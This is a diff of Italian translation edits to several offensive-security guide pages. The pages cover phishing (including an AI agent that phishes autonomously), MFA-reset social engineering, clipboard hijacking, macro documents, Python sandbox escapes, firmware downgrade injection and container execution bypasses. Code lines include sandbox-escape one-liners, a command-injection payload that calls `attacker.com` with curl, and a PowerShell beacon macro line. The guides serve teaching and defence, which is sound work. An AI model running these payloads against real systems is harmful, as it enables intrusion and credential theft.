|AI Agente|Registra autonomamente domini, estrae intel open-source, crea email di prossima fase quando una vittima clicca ma non invia credenziali.|
|
||||
|
||||
**Difesa:**
|
||||
• Aggiungi **banner dinamici** che evidenziano messaggi inviati da automazioni non affidabili (via anomalie ARC/DKIM).
|
||||
• Aggiungi **banner dinamici** che evidenziano messaggi inviati da automazioni non affidabili (tramite anomalie ARC/DKIM).
|
||||
• Implementa **frasi di sfida biometriche vocali** per richieste telefoniche ad alto rischio.
|
||||
• Simula continuamente esche generate dall'AI nei programmi di sensibilizzazione – i modelli statici sono obsoleti.
|
||||
• Simula continuamente esche generate dall'IA nei programmi di sensibilizzazione – i modelli statici sono obsoleti.
|
||||
|
||||
---
|
||||
|
||||
## Fatica da MFA / Variante Push Bombing – Reset Forzato
|
||||
Oltre al classico push-bombing, gli operatori semplicemente **forzano una nuova registrazione MFA** durante la chiamata al help-desk, annullando il token esistente dell'utente. Qualsiasi successivo prompt di accesso appare legittimo per la vittima.
|
||||
Oltre al classico push-bombing, gli operatori semplicemente **forzano una nuova registrazione MFA** durante la chiamata all'assistenza, annullando il token esistente dell'utente. Qualsiasi successivo prompt di accesso appare legittimo per la vittima.
|
||||
```text
|
||||
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
||||
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
|
||||
@ -527,7 +527,7 @@ Monitora gli eventi di AzureAD/AWS/Okta in cui **`deleteMFA` + `addMFA`** si ver
|
||||
|
||||
## Clipboard Hijacking / Pastejacking
|
||||
|
||||
Gli attaccanti possono silenziosamente copiare comandi dannosi negli appunti della vittima da una pagina web compromessa o con errore di battitura e poi ingannare l'utente a incollarli all'interno di **Win + R**, **Win + X** o una finestra del terminale, eseguendo codice arbitrario senza alcun download o allegato.
|
||||
Gli attaccanti possono silenziosamente copiare comandi dannosi negli appunti della vittima da una pagina web compromessa o con errore di battitura e poi ingannare l'utente a incollarli all'interno di **Win + R**, **Win + X** o in una finestra del terminale, eseguendo codice arbitrario senza alcun download o allegato.
|
||||
|
||||
{{#ref}}
|
||||
clipboard-hijacking.md
|
||||
@ -539,7 +539,7 @@ clipboard-hijacking.md
|
||||
mobile-phishing-malicious-apps.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
## Panoramica
|
||||
|
||||
Il clipboard hijacking – noto anche come *pastejacking* – sfrutta il fatto che gli utenti copiano e incollano routine comandi senza ispezionarli. Una pagina web malevola (o qualsiasi contesto capace di JavaScript come un'applicazione Electron o Desktop) inserisce programmaticamente testo controllato dall'attaccante negli appunti di sistema. Le vittime sono incoraggiate, normalmente da istruzioni di ingegneria sociale accuratamente elaborate, a premere **Win + R** (finestra Esegui), **Win + X** (Accesso rapido / PowerShell), o aprire un terminale e *incollare* il contenuto degli appunti, eseguendo immediatamente comandi arbitrari.
|
||||
Il clipboard hijacking – noto anche come *pastejacking* – sfrutta il fatto che gli utenti copiano e incollano routine comandi senza ispezionarli. Una pagina web malevola (o qualsiasi contesto capace di eseguire JavaScript come un'applicazione Electron o Desktop) inserisce programmaticamente testo controllato dall'attaccante negli appunti di sistema. Le vittime sono incoraggiate, normalmente da istruzioni di ingegneria sociale accuratamente elaborate, a premere **Win + R** (finestra Esegui), **Win + X** (Accesso rapido / PowerShell), o aprire un terminale e *incollare* il contenuto degli appunti, eseguendo immediatamente comandi arbitrari.
|
||||
|
||||
Poiché **nessun file viene scaricato e nessun allegato viene aperto**, la tecnica elude la maggior parte dei controlli di sicurezza delle e-mail e dei contenuti web che monitorano allegati, macro o esecuzione diretta di comandi. L'attacco è quindi popolare nelle campagne di phishing che distribuiscono famiglie di malware di consumo come NetSupport RAT, Latrodectus loader o Lumma Stealer.
|
||||
|
||||
@ -29,7 +29,7 @@ Le campagne più vecchie utilizzavano `document.execCommand('copy')`, quelle pi
|
||||
1. L'utente visita un sito con errori di battitura o compromesso (ad es. `docusign.sa[.]com`)
|
||||
2. Il JavaScript **ClearFake** iniettato chiama un helper `unsecuredCopyToClipboard()` che memorizza silenziosamente una riga di comando PowerShell codificata in Base64 negli appunti.
|
||||
3. Le istruzioni HTML dicono alla vittima di: *“Premere **Win + R**, incollare il comando e premere Invio per risolvere il problema.”*
|
||||
4. `powershell.exe` viene eseguito, scaricando un archivio che contiene un eseguibile legittimo più un DLL malevolo (classico DLL sideloading).
|
||||
4. `powershell.exe` viene eseguito, scaricando un archivio che contiene un eseguibile legittimo più un DLL malevolo (classico sideloading di DLL).
|
||||
5. Il loader decripta fasi aggiuntive, inietta shellcode e installa persistenza (ad es. attività pianificata) – eseguendo infine NetSupport RAT / Latrodectus / Lumma Stealer.
|
||||
|
||||
### Esempio di Catena NetSupport RAT
|
||||
@ -63,7 +63,7 @@ I blue team possono combinare il monitoraggio degli appunti, la creazione di pro
|
||||
|
||||
* Registro di Windows: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` mantiene una cronologia dei comandi **Win + R** – cerca voci insolite in Base64 / offuscate.
|
||||
* ID Evento di Sicurezza **4688** (Creazione Processo) dove `ParentImage` == `explorer.exe` e `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
|
||||
* ID Evento **4663** per la creazione di file sotto `%LocalAppData%\Microsoft\Windows\WinX\` o cartelle temporanee subito prima dell'evento sospetto 4688.
|
||||
* ID Evento **4663** per la creazione di file sotto `%LocalAppData%\Microsoft\Windows\WinX\` o cartelle temporanee subito prima dell'evento 4688 sospetto.
|
||||
* Sensori degli appunti EDR (se presenti) – correlare `Clipboard Write` seguito immediatamente da un nuovo processo PowerShell.
|
||||
|
||||
## Mitigazioni
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Documenti Office
|
||||
## Office Documents
|
||||
|
||||
Microsoft Word esegue la convalida dei dati del file prima di aprire un file. La convalida dei dati viene eseguita sotto forma di identificazione della struttura dei dati, rispetto allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in analisi non verrà aperto.
|
||||
|
||||
@ -66,14 +66,14 @@ proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Rimuovere manualmente i metadati
|
||||
|
||||
Vai su **File > Info > Ispeziona documento > Ispeziona documento**, che aprirà l'Ispezione documento. Clicca su **Ispeziona** e poi su **Rimuovi tutto** accanto a **Proprietà documento e informazioni personali**.
|
||||
Vai su **File > Info > Ispeziona documento > Ispeziona documento**, che aprirà l'Inspect Document. Clicca su **Ispeziona** e poi su **Rimuovi tutto** accanto a **Proprietà del documento e informazioni personali**.
|
||||
|
||||
#### Estensione Doc
|
||||
#### Estensione del documento
|
||||
|
||||
Quando hai finito, seleziona il menu a discesa **Salva come tipo**, cambia il formato da **`.docx`** a **Word 97-2003 `.doc`**.\
|
||||
Fallo perché **non puoi salvare macro all'interno di un `.docx`** e c'è uno **stigma** **attorno** all'estensione abilitata per le macro **`.docm`** (ad esempio, l'icona della miniatura ha un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa **estensione legacy `.doc` è il miglior compromesso**.
|
||||
|
||||
#### Generatori di macro malevoli
|
||||
#### Generatori di macro dannose
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
|
||||
@ -52,7 +52,7 @@ Python cerca di **caricare le librerie dalla directory corrente per prima** (il
|
||||
### Pacchetti di default
|
||||
|
||||
Puoi trovare un **elenco dei pacchetti pre-installati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Nota che da un pickle puoi fare in modo che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
|
||||
Nota che da un pickle puoi far sì che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
|
||||
Ad esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
@ -137,7 +137,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
```
|
||||
## Bypassare le protezioni attraverso le codifiche (UTF-7)
|
||||
|
||||
In [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene utilizzato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
|
||||
In [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene utilizzato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -314,10 +314,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
Quando non hai `__builtins__`, non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
|
||||
Quando non hai `__builtins__` non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
|
||||
Tuttavia, **per impostazione predefinita, python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere accessibili per ottenere anche **l'esecuzione di codice arbitrario**.
|
||||
|
||||
Nei seguenti esempi puoi osservare come **abuse** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
Negli esempi seguenti puoi osservare come **abuse** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -448,7 +448,7 @@ Ci sono molti, e **ne abbiamo solo bisogno di uno** per eseguire comandi:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possano essere utilizzate per **eseguire comandi**:
|
||||
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere utilizzate per **eseguire comandi**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -771,10 +771,10 @@ Questo gadget consente di **caricare una libreria dal disco**. Pertanto, è nece
|
||||
```
|
||||
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco dei server.
|
||||
|
||||
## Dissezione degli oggetti Python
|
||||
## Dissezionare gli Oggetti Python
|
||||
|
||||
> [!TIP]
|
||||
> Se vuoi **imparare** a conoscere **il bytecode di python** in profondità, leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Se vuoi **imparare** a conoscere **il bytecode di python** in profondità leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
|
||||
|
||||
@ -899,7 +899,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Nota che **se non puoi importare `dis` nel sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
|
||||
Nota che **se non puoi importare `dis` nel sandbox di python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -924,7 +924,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
## Compilare Python
|
||||
|
||||
Ora, immaginiamo che in qualche modo tu possa **estrarre le informazioni su una funzione che non puoi eseguire** ma che **devi** **eseguire**.\
|
||||
Come nel seguente esempio, puoi **accedere all'oggetto codice** di quella funzione, ma leggendo solo il disassemblaggio non **sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
Come nel seguente esempio, puoi **accedere all'oggetto codice** di quella funzione, ma leggendo solo il disassemblaggio **non sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -983,10 +983,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Bypass Defenses
|
||||
|
||||
In previous examples at the beginning of this post, you can see **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **unico comando** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
|
||||
|
||||
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
Ad esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
|
||||
@ -182,7 +182,7 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
|
||||
<summary>Sovrascrittura di <strong><code>__kwdefaults__</code></strong></summary>
|
||||
|
||||
**`__kwdefaults__`** è un attributo speciale di tutte le funzioni, basato sulla [documentazione](https://docs.python.org/3/library/inspect.html) di Python, è una “mappatura di eventuali valori predefiniti per i parametri **solo parola chiave**”. Inquinare questo attributo ci consente di controllare i valori predefiniti dei parametri solo parola chiave di una funzione, questi sono i parametri della funzione che seguono \* o \*args.
|
||||
**`__kwdefaults__`** è un attributo speciale di tutte le funzioni, basato sulla [documentazione](https://docs.python.org/3/library/inspect.html) di Python, è una “mappatura di eventuali valori predefiniti per i parametri **solo parola chiave**”. Inquinare questo attributo ci consente di controllare i valori predefiniti dei parametri solo parola chiave di una funzione, questi sono i parametri della funzione che vengono dopo \* o \*args.
|
||||
```python
|
||||
from os import system
|
||||
import json
|
||||
|
||||
@ -21,13 +21,13 @@ Il firmware è un software essenziale che consente ai dispositivi di funzionare
|
||||
- Layout hardware e schede tecniche
|
||||
- Metriche del codice sorgente e posizioni
|
||||
- Librerie esterne e tipi di licenza
|
||||
- Storia degli aggiornamenti e certificazioni normative
|
||||
- Storico degli aggiornamenti e certificazioni normative
|
||||
- Diagrammi architettonici e di flusso
|
||||
- Valutazioni di sicurezza e vulnerabilità identificate
|
||||
|
||||
A questo scopo, gli strumenti di **intelligence open-source (OSINT)** sono inestimabili, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuale e automatizzati. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che possono essere sfruttate per trovare potenziali problemi.
|
||||
|
||||
## **Acquisire il Firmware**
|
||||
## **Acquisizione del Firmware**
|
||||
|
||||
Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il proprio livello di complessità:
|
||||
|
||||
@ -43,7 +43,7 @@ Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il
|
||||
- **Dumping** dal bootloader o dalla rete
|
||||
- **Rimuovendo e leggendo** il chip di memoria, quando tutto il resto fallisce, utilizzando strumenti hardware appropriati
|
||||
|
||||
## Analizzare il firmware
|
||||
## Analizzando il firmware
|
||||
|
||||
Ora che **hai il firmware**, devi estrarre informazioni su di esso per sapere come trattarlo. Diversi strumenti che puoi utilizzare per questo:
|
||||
```bash
|
||||
@ -162,11 +162,11 @@ Diverse strumenti assistono nel rivelare informazioni sensibili e vulnerabilità
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) per la ricerca di informazioni sensibili
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) per un'analisi completa del firmware
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statica e dinamica
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statica e dinamica
|
||||
|
||||
### Controlli di Sicurezza sui Binari Compilati
|
||||
|
||||
Sia il codice sorgente che i binari compilati trovati nel filesystem devono essere scrutinizzati per vulnerabilità. Strumenti come **checksec.sh** per binari Unix e **PESecurity** per binari Windows aiutano a identificare binari non protetti che potrebbero essere sfruttati.
|
||||
Sia il codice sorgente che i binari compilati trovati nel filesystem devono essere scrutinati per vulnerabilità. Strumenti come **checksec.sh** per binari Unix e **PESecurity** per binari Windows aiutano a identificare binari non protetti che potrebbero essere sfruttati.
|
||||
|
||||
## Emulazione del Firmware per Analisi Dinamica
|
||||
|
||||
@ -186,7 +186,7 @@ E per installare gli strumenti di emulazione necessari:
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
Per MIPS (big-endian), si utilizza `qemu-mips`, e per i binari little-endian, `qemu-mipsel` sarebbe la scelta.
|
||||
Per MIPS (big-endian), si utilizza `qemu-mips`, e per i binari little-endian, la scelta sarebbe `qemu-mipsel`.
|
||||
|
||||
#### Emulazione dell'Architettura ARM
|
||||
|
||||
@ -200,21 +200,21 @@ Strumenti come [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware An
|
||||
|
||||
A questo stadio, viene utilizzato un ambiente di dispositivo reale o emulato per l'analisi. È essenziale mantenere l'accesso shell al sistema operativo e al filesystem. L'emulazione potrebbe non imitare perfettamente le interazioni hardware, rendendo necessari occasionali riavvii dell'emulazione. L'analisi dovrebbe riesaminare il filesystem, sfruttare le pagine web e i servizi di rete esposti, ed esplorare le vulnerabilità del bootloader. I test di integrità del firmware sono critici per identificare potenziali vulnerabilità di backdoor.
|
||||
|
||||
## Tecniche di Analisi in Esecuzione
|
||||
## Tecniche di Analisi Runtime
|
||||
|
||||
L'analisi in esecuzione implica l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare punti di interruzione e identificare vulnerabilità attraverso fuzzing e altre tecniche.
|
||||
L'analisi runtime implica l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare breakpoint e identificare vulnerabilità attraverso fuzzing e altre tecniche.
|
||||
|
||||
## Sfruttamento Binario e Proof-of-Concept
|
||||
|
||||
Sviluppare un PoC per le vulnerabilità identificate richiede una profonda comprensione dell'architettura target e programmazione in linguaggi di basso livello. Le protezioni in esecuzione binaria nei sistemi embedded sono rare, ma quando presenti, tecniche come il Return Oriented Programming (ROP) possono essere necessarie.
|
||||
Sviluppare un PoC per vulnerabilità identificate richiede una profonda comprensione dell'architettura target e programmazione in linguaggi di basso livello. Le protezioni runtime binarie nei sistemi embedded sono rare, ma quando presenti, tecniche come il Return Oriented Programming (ROP) possono essere necessarie.
|
||||
|
||||
## Sistemi Operativi Preparati per l'Analisi del Firmware
|
||||
|
||||
Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti pre-configurati per il testing della sicurezza del firmware, dotati degli strumenti necessari.
|
||||
Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti preconfigurati per il testing della sicurezza del firmware, dotati degli strumenti necessari.
|
||||
|
||||
## OS Preparati per Analizzare il Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione destinata ad aiutarti a eseguire valutazioni di sicurezza e penetration testing di dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente pre-configurato con tutti gli strumenti necessari caricati.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione destinata ad aiutarti a eseguire valutazioni di sicurezza e penetration testing di dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente preconfigurato con tutti gli strumenti necessari caricati.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per il testing della sicurezza embedded basato su Ubuntu 18.04 pre-caricato con strumenti per il testing della sicurezza del firmware.
|
||||
|
||||
## Attacchi di Downgrade del Firmware e Meccanismi di Aggiornamento Insicuri
|
||||
@ -230,7 +230,7 @@ Flusso di attacco tipico:
|
||||
2. **Caricare o servire l'immagine al dispositivo** tramite qualsiasi canale di aggiornamento esposto:
|
||||
* Interfaccia Web, API dell'app mobile, USB, TFTP, MQTT, ecc.
|
||||
* Molti dispositivi IoT consumer espongono endpoint HTTP(S) *non autenticati* che accettano blob di firmware codificati in Base64, li decodificano lato server e attivano il ripristino/aggiornamento.
|
||||
3. Dopo il downgrade, sfruttare una vulnerabilità che è stata corretta nella versione più recente (ad esempio, un filtro di iniezione di comandi che è stato aggiunto successivamente).
|
||||
3. Dopo il downgrade, sfruttare una vulnerabilità che è stata corretta nella versione più recente (ad esempio, un filtro di injection di comandi che è stato aggiunto successivamente).
|
||||
4. Facoltativamente, flashare l'immagine più recente o disabilitare gli aggiornamenti per evitare il rilevamento una volta ottenuta la persistenza.
|
||||
|
||||
### Esempio: Iniezione di Comandi Dopo il Downgrade
|
||||
@ -240,11 +240,11 @@ Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
Nel firmware vulnerabile (downgradato), il parametro `md5` è concatenato direttamente in un comando shell senza sanificazione, consentendo l'iniezione di comandi arbitrari (qui – abilitazione dell'accesso root basato su chiave SSH). Le versioni firmware successive hanno introdotto un filtro di caratteri di base, ma l'assenza di protezione contro il downgrade rende la correzione inutile.
|
||||
Nel firmware vulnerabile (downgradato), il parametro `md5` è concatenato direttamente in un comando shell senza sanificazione, consentendo l'iniezione di comandi arbitrari (qui – abilitando l'accesso root basato su chiave SSH). Le versioni firmware successive hanno introdotto un filtro di caratteri di base, ma l'assenza di protezione contro il downgrade rende la correzione inutile.
|
||||
|
||||
### Estrazione del Firmware da App Mobili
|
||||
|
||||
Molti fornitori includono immagini firmware complete all'interno delle loro applicazioni mobili companion in modo che l'app possa aggiornare il dispositivo tramite Bluetooth/Wi-Fi. Questi pacchetti sono comunemente memorizzati non crittografati nell'APK/APEX sotto percorsi come `assets/fw/` o `res/raw/`. Strumenti come `apktool`, `ghidra` o anche il semplice `unzip` ti consentono di estrarre immagini firmate senza toccare l'hardware fisico.
|
||||
Molti fornitori includono immagini firmware complete all'interno delle loro applicazioni mobili companion in modo che l'app possa aggiornare il dispositivo tramite Bluetooth/Wi-Fi. Questi pacchetti sono comunemente memorizzati non crittografati nell'APK/APEX sotto percorsi come `assets/fw/` o `res/raw/`. Strumenti come `apktool`, `ghidra`, o anche il semplice `unzip` ti consentono di estrarre immagini firmate senza toccare l'hardware fisico.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
|
||||
@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Bypass potenziali regex
|
||||
### Bypassare potenziali regex
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
|
||||
@ -30,7 +30,7 @@ securityContext:
|
||||
Tuttavia, anche se il file system è montato come ro, **`/dev/shm`** sarà comunque scrivibile, quindi è falso che non possiamo scrivere nulla nel disco. Tuttavia, questa cartella sarà **montata con protezione no-exec**, quindi se scarichi un binario qui **non sarai in grado di eseguirlo**.
|
||||
|
||||
> [!WARNING]
|
||||
> Da una prospettiva di red team, questo rende **complicato scaricare ed eseguire** binari che non sono già nel sistema (come backdoor o enumeratori come `kubectl`).
|
||||
> Da una prospettiva red team, questo rende **complicato scaricare ed eseguire** binari che non sono già nel sistema (come backdoor o enumeratori come `kubectl`).
|
||||
|
||||
## Easiest bypass: Scripts
|
||||
|
||||
@ -40,13 +40,13 @@ Tuttavia, questo non è sufficiente per eseguire la tua backdoor binaria o altri
|
||||
|
||||
## Memory Bypasses
|
||||
|
||||
Se vuoi eseguire un binario ma il file system non lo consente, il modo migliore per farlo è **eseguirlo dalla memoria**, poiché **le protezioni non si applicano lì**.
|
||||
Se vuoi eseguire un binario ma il file system non lo consente, il modo migliore per farlo è **eseguirlo dalla memoria**, poiché le **protezioni non si applicano lì**.
|
||||
|
||||
### FD + exec syscall bypass
|
||||
|
||||
Se hai alcuni potenti motori di script all'interno della macchina, come **Python**, **Perl** o **Ruby**, potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (`create_memfd` syscall), che non sarà protetto da quelle protezioni e poi chiamare una **`exec` syscall** indicando il **fd come file da eseguire**.
|
||||
|
||||
Per questo puoi facilmente utilizzare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passarci un binario e genererà uno script nel linguaggio indicato con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
|
||||
Per questo puoi facilmente utilizzare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passargli un binario e genererà uno script nel linguaggio indicato con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
|
||||
|
||||
> [!WARNING]
|
||||
> Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno alcun **modo predefinito per chiamare syscall raw** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **memory fd** per memorizzare il binario.
|
||||
@ -96,7 +96,7 @@ In un container distroless potresti **non trovare nemmeno `sh` o `bash`** per ot
|
||||
> [!WARNING]
|
||||
> Pertanto, **non** sarai in grado di ottenere una **reverse shell** o **enumerare** il sistema come fai di solito.
|
||||
|
||||
Tuttavia, se il container compromesso sta eseguendo ad esempio un'app Flask, allora Python è installato, e quindi puoi ottenere una **reverse shell Python**. Se sta eseguendo Node, puoi ottenere una reverse shell Node, e lo stesso vale per quasi qualsiasi **linguaggio di scripting**.
|
||||
Tuttavia, se il container compromesso sta eseguendo ad esempio un'app web Flask, allora Python è installato, e quindi puoi ottenere una **reverse shell Python**. Se sta eseguendo Node, puoi ottenere una reverse shell Node, e lo stesso vale per quasi qualsiasi **linguaggio di scripting**.
|
||||
|
||||
> [!TIP]
|
||||
> Utilizzando il linguaggio di scripting potresti **enumerare il sistema** utilizzando le capacità del linguaggio.
|
||||
@ -104,7 +104,7 @@ Tuttavia, se il container compromesso sta eseguendo ad esempio un'app Flask, all
|
||||
Se non ci sono protezioni **`read-only/no-exec`** potresti abusare della tua reverse shell per **scrivere nel file system i tuoi binari** e **eseguirli**.
|
||||
|
||||
> [!TIP]
|
||||
> Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti usare le **precedenti tecniche di esecuzione in memoria per bypassarle**.
|
||||
> Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti usare le **tecniche di esecuzione in memoria precedenti per bypassarle**.
|
||||
|
||||
